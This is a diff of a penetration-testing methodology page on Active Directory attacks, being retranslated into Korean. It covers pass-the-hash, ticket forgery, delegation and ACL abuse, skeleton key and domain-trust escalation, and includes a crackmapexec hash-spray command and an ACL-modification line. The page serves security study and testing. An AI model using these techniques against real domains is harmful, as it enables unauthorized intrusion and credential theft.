||||
.\Rubeus.exe triage
|
||||
@ -213,18 +217,19 @@ kerberoast.md
|
||||
```
|
||||
### NTLM Relay
|
||||
|
||||
If you have managed to enumerate the Active Directory you will have **더 많은 이메일과 네트워크에 대한 더 나은 이해**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
If you have managed to enumerate the active directory you will have **더 많은 이메일과 네트워크에 대한 더 나은 이해**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
|
||||
### Looks for Creds in Computer Shares | SMB Shares
|
||||
|
||||
Now that you have some basic credentials you should check if you can **찾아보세요** any **AD 내부에서 공유되고 있는 흥미로운 파일들**. 수동으로 할 수도 있지만 매우 지루하고 반복적인 작업입니다(수백 개의 문서를 확인해야 한다면 더더욱 그렇습니다).
|
||||
Computer Shares | SMB Shares에서 Creds를 찾기
|
||||
|
||||
이제 기본 credentials가 있으니 AD 내부에서 공유되고 있는 **흥미로운 파일**을 **찾을 수 있는지** 확인해야 합니다. 수동으로 할 수도 있지만 매우 지루하고 반복적인 작업입니다(특히 수백 개의 문서를 확인해야 할 경우 더 그렇습니다).
|
||||
|
||||
[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
### Steal NTLM Creds
|
||||
|
||||
If you can **다른 PC나 공유에 접근할 수 있다면** you could **파일을 배치할 수 있습니다** (예: SCF 파일) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
|
||||
|
||||
다른 PC나 공유에 **접근할 수 있다면**, SCF 파일과 같은 파일을 **배치할 수 있습니다**. 누군가 그 파일에 접근하면 **당신을 대상으로 NTLM 인증을 트리거**하여 **NTLM challenge**를 **탈취**해 크랙할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -232,8 +237,7 @@ If you can **다른 PC나 공유에 접근할 수 있다면** you could **파일
|
||||
|
||||
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
|
||||
|
||||
This vulnerability allowed any authenticated user to **도메인 컨트롤러를 침해**.
|
||||
|
||||
이 취약점은 인증된 사용자가 **domain controller를 침해할 수 있게** 했습니다.
|
||||
|
||||
{{#ref}}
|
||||
printnightmare.md
|
||||
@ -241,24 +245,23 @@ printnightmare.md
|
||||
|
||||
## Privilege escalation on Active Directory WITH privileged credentials/session
|
||||
|
||||
**다음 기법들은 일반 도메인 사용자만으로는 충분하지 않으며, 이러한 공격을 수행하려면 특정 권한/자격 증명이 필요합니다.**
|
||||
**For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.**
|
||||
|
||||
### Hash extraction
|
||||
|
||||
Hopefully you have managed to **로컬 관리자 계정 일부를 탈취** account using [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
|
||||
Then, its time to dump all the hashes in memory and locally.\
|
||||
운 좋게도 [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) (relaying 포함), [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html) 등을 사용해 **local admin 계정 일부의 권한을 획득**했을 것입니다.
|
||||
그런 다음 메모리와 로컬에서 모든 해시를 덤프할 시간입니다.
|
||||
[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Pass the Hash
|
||||
|
||||
**사용자의 hash를 확보하면**, 이를 사용해 해당 사용자를 **가장할 수 있습니다.**\
|
||||
해당 hash를 사용해 NTLM 인증을 수행하는 **도구**를 사용하거나, 새로운 sessionlogon을 생성하고 그 hash를 **LSASS**에 주입하여 이후 발생하는 모든 NTLM 인증에 그 hash가 사용되게 할 수 있습니다. 마지막 옵션이 mimikatz가 하는 방식입니다.\
|
||||
**Once you have the hash of a user**, you can use it to **impersonate** it.
|
||||
이 해시를 사용해 **NTLM 인증을 수행하는** tool을 사용하거나, 새로운 **sessionlogon**을 생성하고 그 **해시를 LSASS 내부에 주입(inject)**할 수 있습니다. 그러면 어떤 **NTLM 인증**이 수행될 때 그 **해시가 사용**됩니다. 마지막 옵션은 mimikatz가 하는 방법입니다.
|
||||
[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
This attack aims to **사용자 NTLM hash를 이용해 Kerberos 티켓을 요청하는 것**으로, 일반적인 NTLM 기반 Pass The Hash의 대안입니다. 따라서 NTLM 프로토콜이 비활성화되어 있고 인증 프로토콜로 Kerberos만 허용되는 네트워크에서 특히 **유용할 수 있습니다.**
|
||||
|
||||
This attack aims to **use the user NTLM hash to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol.
|
||||
|
||||
{{#ref}}
|
||||
over-pass-the-hash-pass-the-key.md
|
||||
@ -266,8 +269,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### Pass the Ticket
|
||||
|
||||
In the Pass The Ticket (PTT) attack method, attackers **사용자의 인증 티켓을 훔치며**, 암호나 해시 값을 훔치는 대신 그 티켓을 사용해 사용자를 가장하여 네트워크 내 리소스와 서비스를 무단으로 접근합니다.
|
||||
|
||||
In the **Pass The Ticket (PTT)** attack method, attackers **steal a user's authentication ticket** instead of their password or hash values. This stolen ticket is then used to **impersonate the user**, gaining unauthorized access to resources and services within a network.
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
@ -275,29 +277,29 @@ pass-the-ticket.md
|
||||
|
||||
### Credentials Reuse
|
||||
|
||||
If you have the **hash** or **password** of a **로컬 관리자** you should try to **다른 PC에 로컬로 로그인**해 보세요.
|
||||
If you have the **hash** or **password** of a **local administrator** you should try to **login locally** to other **PCs** with it.
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
> [!WARNING]
|
||||
> 이는 꽤 **noisy**하며 **LAPS**가 이를 **mitigate**할 수 있다는 점을 유의하세요.
|
||||
> 이것은 상당히 **노이즈가 크며** **LAPS**가 **완화**할 수 있다는 점에 유의하세요.
|
||||
|
||||
### MSSQL Abuse & Trusted Links
|
||||
### MSSQL 오용 및 신뢰된 링크
|
||||
|
||||
사용자가 **access MSSQL instances** 권한을 갖고 있다면, MSSQL 호스트에서 (SA로 실행 중인 경우) **명령을 실행**하거나 NetNTLM **hash**를 **탈취**하거나 심지어 **relay** **attack**을 수행할 수 있습니다.\
|
||||
또한, MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰(trusted, database link)되고 있는 경우, 사용자가 신뢰된 데이터베이스에 대한 권한을 가지고 있다면 **신뢰 관계를 이용해 다른 인스턴스에서도 쿼리를 실행할 수 있습니다**. 이러한 신뢰는 체인으로 연결될 수 있으며, 결국 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수 있습니다.\
|
||||
**데이터베이스 간의 링크는 포리스트 트러스트를 넘어 작동합니다.**
|
||||
사용자가 **MSSQL 인스턴스에 접근할 권한**이 있다면, MSSQL 호스트에서 **명령을 실행**(SA로 실행 중인 경우), NetNTLM **hash**를 **탈취**하거나 심지어 **relay** **attack**을 수행할 수 있습니다.\
|
||||
또한, MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰(database link)되어 있는 경우, 사용자가 신뢰된 데이터베이스에 대한 권한을 가지고 있으면 **신뢰 관계를 이용해 다른 인스턴스에서도 쿼리를 실행할 수 있습니다**. 이러한 신뢰는 체인으로 연결될 수 있으며, 결국 사용자가 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수도 있습니다.\
|
||||
**데이터베이스 간의 링크는 forest trust를 가로질러서도 작동합니다.**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
### IT asset/deployment platforms abuse
|
||||
### IT 자산/배포 플랫폼 오용
|
||||
|
||||
서드파티 인벤토리 및 배포 스위트는 종종 자격 증명 및 코드 실행으로 접근할 수 있는 강력한 경로를 노출합니다. 참고:
|
||||
서드파티 인벤토리 및 배포 스위트는 종종 자격증명과 코드 실행으로 접근할 수 있는 강력한 경로를 노출합니다. 참고:
|
||||
|
||||
{{#ref}}
|
||||
sccm-management-point-relay-sql-policy-secrets.md
|
||||
@ -309,9 +311,9 @@ lansweeper-security.md
|
||||
|
||||
### Unconstrained Delegation
|
||||
|
||||
[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 속성을 가진 Computer 객체를 찾았고 해당 컴퓨터에 대한 도메인 권한이 있다면, 그 컴퓨터에 로그인하는 모든 사용자의 메모리에서 TGT를 덤프할 수 있습니다.\
|
||||
따라서 **Domain Admin이 해당 컴퓨터에 로그인하면**, [Pass the Ticket](pass-the-ticket.md)를 사용해 그의 TGT를 덤프하고 그를 가장할 수 있습니다.\
|
||||
constrained delegation 덕분에 **Print Server를 자동으로 침해**할 수도 있습니다(운이 좋다면 DC일 수도 있습니다).
|
||||
만약 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 속성을 가진 Computer 객체를 발견하고 그 컴퓨터에 대한 도메인 권한을 가지고 있다면, 그 컴퓨터에 로그인하는 모든 사용자의 메모리에서 TGT를 덤프할 수 있습니다.\
|
||||
따라서 **Domain Admin이 컴퓨터에 로그인**하면, 그의 TGT를 덤프하여 [Pass the Ticket](pass-the-ticket.md)를 사용해 그의 권한을 가장할 수 있습니다.\
|
||||
constrained delegation 덕분에 **Print Server를 자동으로 장악**할 수도 있습니다(운이 좋으면 DC일 것입니다).
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -320,8 +322,8 @@ unconstrained-delegation.md
|
||||
|
||||
### Constrained Delegation
|
||||
|
||||
사용자나 컴퓨터가 "Constrained Delegation"에 허용되어 있다면, 그 계정은 **특정 컴퓨터의 일부 서비스에 대해 어떤 사용자든지 가장하여 접근할 수 있습니다**.\
|
||||
따라서 이 사용자/컴퓨터의 **해시를 탈취**하면 (심지어 domain admins일지라도) 일부 서비스에 접근하기 위해 **어떤 사용자로도 가장할 수 있습니다**.
|
||||
사용자나 컴퓨터가 "Constrained Delegation"으로 허용되어 있다면, 해당 컴퓨터의 일부 서비스에 접근하기 위해 **어떤 사용자든 가장**할 수 있습니다.\
|
||||
그런 다음 이 사용자/컴퓨터의 **hash를 탈취**하면, 일부 서비스에 접근하기 위해 **어떤 사용자든 가장**할 수 있게 되어 (심지어 domain admins도 포함) 권한 상승이 가능합니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -330,7 +332,7 @@ constrained-delegation.md
|
||||
|
||||
### Resourced-based Constrain Delegation
|
||||
|
||||
원격 컴퓨터의 Active Directory 객체에 대해 **WRITE** 권한을 가지면 **권한 상승된 코드 실행**을 획득할 수 있습니다:
|
||||
원격 컴퓨터의 Active Directory 객체에 대해 **WRITE** 권한을 갖고 있으면 **권한 상승된 상태로 코드 실행**을 얻을 수 있습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -339,7 +341,7 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### Permissions/ACLs Abuse
|
||||
|
||||
침해된 사용자가 일부 도메인 객체에 대해 **흥미로운 권한**을 가지고 있을 수 있으며, 이는 이후에 **횡적 이동**이나 **권한 상승**을 가능하게 할 수 있습니다.
|
||||
탈취된 사용자는 **특정 도메인 객체에 대해 흥미로운 권한**을 가지고 있을 수 있으며, 이를 통해 이후에 **횡적 이동/권한 상승**이 가능해질 수 있습니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -348,17 +350,17 @@ acl-persistence-abuse/
|
||||
|
||||
### Printer Spooler service abuse
|
||||
|
||||
도메인 내에서 **Spool 서비스가 리스닝 중인 것을 발견**하면, 이는 **새로운 자격증명을 획득**하고 **권한을 상승**시키는 데 **악용될 수 있습니다**.
|
||||
도메인 내에서 **Spool 서비스가 리스닝 중인 것**을 발견하면, 이를 **악용**하여 **새로운 자격증명을 획득**하고 **권한을 상승**시킬 수 있습니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Third party sessions abuse
|
||||
### 타 사용자 세션 오용
|
||||
|
||||
**다른 사용자들이** **침해된** 기계에 **접근**하는 경우, 메모리에서 자격증명을 **수집**하거나 그들의 프로세스에 **beacon을 주입**하여 그들을 가장할 수 있습니다.\
|
||||
보통 사용자는 RDP로 시스템에 접근하므로, 타사 RDP 세션에 대해 수행할 수 있는 몇 가지 공격 방법은 다음과 같습니다:
|
||||
**다른 사용자들이** **침해된** 머신에 **접속**하면, 메모리에서 **자격증명 수집**이 가능하고 심지어 그들의 프로세스에 **beacon을 주입**해 그들을 가장할 수도 있습니다.\
|
||||
대부분의 사용자는 RDP로 시스템에 접근하므로, 타 사용자 RDP 세션에 대해 수행할 수 있는 몇 가지 공격 방법은 다음과 같습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -367,7 +369,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS**는 도메인에 조인된 컴퓨터의 **로컬 Administrator 비밀번호**를 관리하는 시스템을 제공하여, 비밀번호가 **무작위화되고**, 고유하며 자주 **변경**되도록 보장합니다. 이러한 비밀번호는 Active Directory에 저장되며 접근은 ACL을 통해 허가된 사용자로만 제한됩니다. 이 비밀번호들에 접근할 수 있는 충분한 권한이 있다면 다른 컴퓨터로의 피벗이 가능해집니다.
|
||||
**LAPS**는 도메인에 가입된 컴퓨터의 **로컬 Administrator 비밀번호**를 관리하기 위한 시스템을 제공하여, 비밀번호가 **무작위화**, 고유화되고 자주 **변경**되도록 보장합니다. 이 비밀번호들은 Active Directory에 저장되며 접근은 ACL을 통해 승인된 사용자로 제한됩니다. 이러한 비밀번호에 접근할 수 있는 충분한 권한을 획득하면 다른 컴퓨터로의 피벗이 가능해집니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -376,7 +378,7 @@ laps.md
|
||||
|
||||
### Certificate Theft
|
||||
|
||||
침해된 기계에서 **certificate를 수집**하는 것은 환경 내부에서 권한을 상승시키는 방법이 될 수 있습니다:
|
||||
침해된 머신에서 **certificates를 수집**하는 것은 환경 내 권한 상승의 한 방법이 될 수 있습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -385,18 +387,18 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### Certificate Templates Abuse
|
||||
|
||||
**취약한 템플릿**이 구성되어 있다면 이를 악용해 권한을 상승시킬 수 있습니다:
|
||||
**취약한 템플릿**이 설정되어 있다면 이를 악용해 권한 상승이 가능할 수 있습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
## Post-exploitation with high privilege account
|
||||
## 고권한 계정으로의 사후 활동
|
||||
|
||||
### Dumping Domain Credentials
|
||||
|
||||
한 번 **Domain Admin** 또는 더 좋은 **Enterprise Admin** 권한을 얻으면, 도메인 데이터베이스인 _ntds.dit_을 **덤프**할 수 있습니다.
|
||||
한 번 **Domain Admin** 또는 더 나아가 **Enterprise Admin** 권한을 얻으면, 도메인 데이터베이스인 _ntds.dit_을 **덤프**할 수 있습니다.
|
||||
|
||||
[**More information about DCSync attack can be found here**](dcsync.md).
|
||||
|
||||
@ -404,7 +406,7 @@ ad-certificates/domain-escalation.md
|
||||
|
||||
### Privesc as Persistence
|
||||
|
||||
앞서 논의된 일부 기법은 영속성(persistence)에도 사용될 수 있습니다.\
|
||||
앞서 논의한 몇몇 기법은 영속성(persistence)으로도 사용될 수 있습니다.\
|
||||
예를 들어 다음과 같은 작업을 할 수 있습니다:
|
||||
|
||||
- 사용자를 [**Kerberoast**](kerberoast.md)에 취약하게 만들기
|
||||
@ -427,7 +429,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
**Silver Ticket attack**은 특정 서비스에 대해 합법적인 Ticket Granting Service (TGS) 티켓을 생성하는데, 예를 들어 **PC 계정의 NTLM hash**를 사용합니다. 이 방법은 **서비스 권한에 접근**하기 위해 사용됩니다.
|
||||
**Silver Ticket attack**은 특정 서비스에 대해 합법적인 Ticket Granting Service (TGS) 티켓을 생성하는 것으로, 예를 들어 **PC account의 NTLM hash**를 사용해 서비스 권한에 접근하는 방식입니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -436,9 +438,9 @@ silver-ticket.md
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
**Golden Ticket attack**은 공격자가 Active Directory 환경에서 **krbtgt 계정의 NTLM hash**에 접근하는 것을 포함합니다. 이 계정은 모든 **TGT**를 서명하는 데 사용되므로 AD 네트워크에서 인증에 필수적입니다.
|
||||
**Golden Ticket attack**은 공격자가 Active Directory 환경에서 **krbtgt 계정의 NTLM hash**를 얻는 것을 포함합니다. 이 계정은 모든 **Ticket Granting Ticket (TGT)**을 서명하는 데 사용되므로 AD 네트워크 내 인증에 필수적입니다.
|
||||
|
||||
공격자가 이 해시를 획득하면, 어떤 계정에 대해서도 **TGT를 생성**할 수 있습니다 (Silver ticket 공격과 유사하게).
|
||||
공격자가 이 hash를 얻으면, 어떤 계정에 대해서도 **TGTs**를 생성할 수 있습니다 (Silver ticket attack과 유사한 활용).
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -447,7 +449,7 @@ golden-ticket.md
|
||||
|
||||
### Diamond Ticket
|
||||
|
||||
이는 일반적인 golden tickets 탐지 메커니즘을 **우회하도록 위조된 golden ticket과 유사한 티켓들**입니다.
|
||||
이는 일반적인 golden ticket 탐지 메커니즘을 **우회하도록 위조된 golden ticket과 유사한 것들**입니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -456,7 +458,7 @@ diamond-ticket.md
|
||||
|
||||
### **Certificates Account Persistence**
|
||||
|
||||
계정의 **certificate를 보유하거나 이를 요청할 수 있는 경우**, 사용자가 비밀번호를 변경하더라도 해당 사용자 계정에 **영속적으로 접근**할 수 있는 매우 좋은 방법입니다:
|
||||
계정의 **certificates를 보유하거나 요청할 수 있는 능력**은(심지어 사용자가 비밀번호를 변경하더라도) 해당 사용자 계정에 대해 영속성을 유지하는 매우 좋은 방법입니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -465,7 +467,7 @@ ad-certificates/account-persistence.md
|
||||
|
||||
### **Certificates Domain Persistence**
|
||||
|
||||
**certificate를 사용하는 방법으로 도메인 내부에서 높은 권한으로 영속성**을 유지하는 것도 가능합니다:
|
||||
**certificates를 사용하면 도메인 내에서 고권한으로도 영속성을 유지**할 수 있습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -474,13 +476,13 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder Group
|
||||
|
||||
Active Directory의 **AdminSDHolder** 객체는 **Domain Admins** 및 **Enterprise Admins** 같은 **권한 있는 그룹**의 보안을 보장하기 위해 표준 **ACL**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다; 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 접근 권한을 부여하면, 그 사용자는 모든 권한 있는 그룹에 대해 광범위한 제어 권한을 얻게 됩니다. 이 보안 조치는 적절히 모니터링되지 않으면 오히려 권한 남용을 초래할 수 있습니다.
|
||||
Active Directory의 **AdminSDHolder** 객체는 **Domain Admins** 및 **Enterprise Admins**와 같은 **권한 있는 그룹**의 보안을 보장하기 위해 표준 **Access Control List (ACL)**을 이러한 그룹에 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다. 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 접근 권한을 부여하면, 해당 사용자는 모든 권한 있는 그룹에 대한 광범위한 제어권을 얻게 됩니다. 이 보안 기능은 면밀히 모니터링되지 않으면 오히려 무단 접근을 허용할 수 있습니다.
|
||||
|
||||
[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### DSRM Credentials
|
||||
|
||||
모든 **Domain Controller (DC)** 내부에는 **로컬 관리자** 계정이 존재합니다. 해당 머신에서 관리자 권한을 얻으면, **mimikatz**를 사용해 로컬 Administrator hash를 추출할 수 있습니다. 이후에는 이 비밀번호의 사용을 **활성화**하기 위한 레지스트리 수정을 수행하여 로컬 Administrator 계정에 원격으로 접근할 수 있게 합니다.
|
||||
모든 **Domain Controller (DC)** 내부에는 **로컬 관리자** 계정이 존재합니다. 해당 머신에서 관리자 권한을 획득하면, **mimikatz**를 사용해 로컬 Administrator hash를 추출할 수 있습니다. 이후 이 비밀번호의 사용을 가능하게 하기 위해 레지스트리 수정을 수행해야 하며, 이를 통해 로컬 Administrator 계정에 원격으로 접근할 수 있게 됩니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -489,7 +491,7 @@ dsrm-credentials.md
|
||||
|
||||
### ACL Persistence
|
||||
|
||||
특정 도메인 객체에 대해 **특수 권한을 사용자에게 부여**하면, 해당 사용자가 **미래에 권한을 상승**할 수 있도록 할 수 있습니다.
|
||||
특정 도메인 객체에 대해 **특별 권한**을 사용자에게 **부여**하여, 해당 사용자가 **향후 권한 상승**을 할 수 있도록 만들 수 있습니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -498,7 +500,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Security Descriptors
|
||||
|
||||
**Security descriptors**는 객체가 다른 객체에 대해 가지는 **권한을 저장**하는 데 사용됩니다. 개체의 security descriptor를 **작게 변경하기만 해도**, 해당 객체에 대해 특이한 권한을 얻을 수 있어, 반드시 권한 있는 그룹의 구성원이 될 필요가 없습니다.
|
||||
**Security descriptors**는 객체가 가지고 있는 **권한**을 **저장**하는 데 사용됩니다. 객체의 security descriptor에 **작은 변경**을 가하는 것만으로도, 해당 객체에 대해 특권 그룹의 구성원이 아니어도 매우 흥미로운 권한을 얻을 수 있습니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -507,7 +509,7 @@ security-descriptors.md
|
||||
|
||||
### Skeleton Key
|
||||
|
||||
메모리에서 **LSASS**를 변경하여 **범용 비밀번호(skeleton key)**를 설정하면 모든 도메인 계정에 접근할 수 있게 됩니다.
|
||||
메모리에서 **LSASS**를 변경하여 **범용 비밀번호**를 설정하면, 모든 도메인 계정에 대한 접근 권한을 부여할 수 있습니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -517,7 +519,7 @@ skeleton-key.md
|
||||
### Custom SSP
|
||||
|
||||
[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
자신만의 **SSP**를 만들어 머신에 접근하는 데 사용되는 **credentials를 평문으로 캡처**할 수 있습니다.
|
||||
자신만의 **SSP**를 만들어 머신에 접근할 때 사용되는 자격증명을 평문(clear text)으로 **포착**할 수 있습니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -526,8 +528,8 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
새로운 **Domain Controller**를 AD에 등록하고 이를 사용해 지정된 객체들에 대해 (SIDHistory, SPNs...) **속성을 푸시**합니다. 이 과정은 변경에 관한 **로그를 남기지 않습니다**. DA 권한과 루트 도메인 내부 접근이 필요합니다.\
|
||||
잘못된 데이터를 사용하면 눈에 띄는 로그가 발생할 수 있다는 점에 유의하세요.
|
||||
이는 AD에 **새로운 Domain Controller**를 등록하고 이를 사용해 특정 객체들에 대해 SIDHistory, SPNs 등을 **로그를 남기지 않고** 푸시하는 기법입니다. 이 동작을 위해서는 **DA** 권한과 루트 도메인 내부에 위치해야 합니다.\
|
||||
단, 잘못된 데이터를 사용하면 보기 흉한 로그가 생성될 수 있다는 점에 유의하세요.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -536,72 +538,72 @@ dcshadow.md
|
||||
|
||||
### LAPS Persistence
|
||||
|
||||
앞서 LAPS 비밀번호를 읽을 수 있는 충분한 권한이 있으면 권한 상승을 할 수 있다고 설명했습니다. 하지만 이 비밀번호들은 **영속성 유지**에도 사용할 수 있습니다.\
|
||||
참고:
|
||||
앞서 **LAPS 비밀번호를 읽을 수 있는 충분한 권한**이 있을 때 권한 상승 방법에 대해 논의했습니다. 하지만 이러한 비밀번호는 **영속성 유지**에도 사용될 수 있습니다.\
|
||||
참조:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
{{#endref}}
|
||||
|
||||
## Forest Privilege Escalation - Domain Trusts
|
||||
## 포리스트 권한 상승 - 도메인 트러스트
|
||||
|
||||
Microsoft는 **Forest**를 보안 경계로 봅니다. 이는 **하나의 도메인을 침해하면 전체 Forest가 침해될 가능성이 있다**는 것을 의미합니다.
|
||||
Microsoft는 **Forest**를 보안 경계로 봅니다. 이는 **단일 도메인을 침해하는 것이 전체 Forest의 침해로 이어질 수 있다**는 것을 의미합니다.
|
||||
|
||||
### Basic Information
|
||||
### 기본 정보
|
||||
|
||||
[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)는 한 **도메인**의 사용자가 다른 **도메인**의 자원에 접근할 수 있게 해주는 보안 메커니즘입니다. 이는 두 도메인의 인증 시스템 간 연계를 생성하여 인증 검증이 원활하게 흐르도록 합니다. 도메인들이 트러스트를 설정하면, 해당 트러스트의 무결성에 중요한 특정 **keys**를 각자의 **Domain Controllers (DCs)**에 교환 및 유지합니다.
|
||||
[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)는 한 **도메인**의 사용자가 다른 **도메인**의 리소스에 접근할 수 있게 하는 보안 메커니즘입니다. 이는 두 도메인의 인증 시스템 간에 연결을 생성하여 인증 검증이 원활하게 흐르도록 합니다. 도메인들이 트러스트를 설정하면, 그들은 신뢰의 무결성에 중요한 특정 **키**들을 그들의 **Domain Controllers (DCs)** 내에 교환·저장합니다.
|
||||
|
||||
일반적인 시나리오에서 사용자가 **trusted domain**의 서비스에 접근하려면, 먼저 자신의 도메인 DC로부터 **inter-realm TGT**를 요청해야 합니다. 이 TGT는 두 도메인이 합의한 공유 **key**로 암호화됩니다. 사용자는 이 inter-realm TGT를 **trusted domain의 DC**에 제시하여 서비스 티켓(**TGS**)을 얻습니다. trusted domain의 DC가 inter-realm TGT를 검증하면 TGS를 발급하여 사용자가 서비스에 접근할 수 있게 합니다.
|
||||
일반적인 시나리오에서 사용자가 **trusted domain**의 서비스에 접근하려면, 먼저 자신의 도메인 DC에서 **inter-realm TGT**라는 특별한 티켓을 요청해야 합니다. 이 TGT는 두 도메인이 합의한 공유 **키**로 암호화됩니다. 사용자는 이 TGT를 **trusted domain의 DC**에 제시하여 서비스 티켓(**TGS**)을 얻습니다. trusted domain의 DC가 inter-realm TGT를 검증하면, 해당 서비스에 대한 TGS를 발급하여 사용자의 서비스 접근을 허용합니다.
|
||||
|
||||
**Steps**:
|
||||
**절차**:
|
||||
|
||||
1. **Domain 1**의 **클라이언트 컴퓨터**가 **NTLM hash**를 사용하여 **Domain Controller (DC1)**로부터 **Ticket Granting Ticket (TGT)**를 요청합니다.
|
||||
2. 클라이언트가 인증되면 DC1은 새로운 TGT를 발급합니다.
|
||||
3. 클라이언트는 **Domain 2**의 자원에 접근하기 위해 DC1로부터 **inter-realm TGT**를 요청합니다.
|
||||
4. inter-realm TGT는 두 도메인 간의 양방향 도메인 트러스트의 일부로 DC1과 DC2가 공유하는 **trust key**로 암호화됩니다.
|
||||
5. 클라이언트는 inter-realm TGT를 **Domain 2의 Domain Controller (DC2)**에 제시합니다.
|
||||
6. DC2는 공유된 trust key를 사용해 inter-realm TGT를 검증하고, 유효하면 클라이언트가 접근하려는 Domain 2 내 서버에 대한 **Ticket Granting Service (TGS)**를 발급합니다.
|
||||
7. 마지막으로 클라이언트는 이 TGS를 서버에 제시하며, 해당 TGS는 서버 계정 해시로 암호화되어 Domain 2의 서비스에 접근할 수 있게 합니다.
|
||||
1. **Domain 1**의 **클라이언트 컴퓨터**가 자신의 **NTLM hash**를 사용해 **Domain Controller (DC1)**에 **Ticket Granting Ticket (TGT)**을 요청합니다.
|
||||
2. 클라이언트가 성공적으로 인증되면 DC1은 새로운 TGT를 발급합니다.
|
||||
